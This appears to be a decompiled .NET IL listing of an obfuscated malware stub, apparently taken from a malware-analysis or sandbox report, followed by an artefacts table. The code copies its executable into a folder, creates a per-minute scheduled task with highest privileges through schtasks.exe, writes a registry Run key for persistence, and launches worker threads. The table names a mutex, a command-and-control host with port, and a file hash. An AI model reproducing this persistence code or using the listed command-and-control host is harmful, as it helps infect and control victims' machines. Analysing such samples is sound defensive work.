Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() call System.Boolean Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() brtrue.s IL_00D8: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::mngLA9RZraIo018QYFw3XA7WgE8CaGYlpfnL4jyqixNNF87oDsINqhzbaTxHC2() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::mngLA9RZraIo018QYFw3XA7WgE8CaGYlpfnL4jyqixNNF87oDsINqhzbaTxHC2() leave.s IL_00EE: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB ldstr \ ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::t3gayGx0fa6p9b8PrnBCVO1C2v1SV5UrNdA1qsEpfRnFdCo9Sy2jKV2JkGL1lp8fLpjgWqytKcGMmQ5 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.6Ovwyk8SL5Nshi51yV3Wml2kiv5Npi0GlD7fBgvE2cBWUF0lVoW7zqxJjqvfR8::meo0dS8IpnDw9PxG0SqCdKFgQErbrGRup4FAdwLsSXSlip03P2g0aBIrn58pE1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::FbxTLBKRyGYjiHyE7gpu44468VV6inlHap9gIWcmtFqpY63zjjGWMWwRywg4Gj() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.6Ovwyk8SL5Nshi51yV3Wml2kiv5Npi0GlD7fBgvE2cBWUF0lVoW7zqxJjqvfR8::meo0dS8IpnDw9PxG0SqCdKFgQErbrGRup4FAdwLsSXSlip03P2g0aBIrn58pE1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_02A9: ldnull call System.Void Stub.9hilL2Ax8CRNv5StjcqNJZpwiAYxUYqDYPItOokOkJFQtDY::01o9a3lggcsZIU0WzgrX1tTGHk5beFwp0e8GMUGy5saU86P() ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::JdNqeT4FIg3cdpCInifEicDdWw5b9AdqZ4DbSGf3U5sq9qcHVLjArmXx25wPfh() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::MjZDQZMOqgjg0ZmlDMlgYoWEJUukpD86yR8vP8d2tmp7o2gyZA4VexxgCxb5o9() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts

Name0	Value
Mutex	ju7GV7IG8LdZljIq
CnC	goods-hilton.gl.at.ply.gg
Port	45762

457350f9f0aaac15aac9e6022ef4a894 (72.19 KB)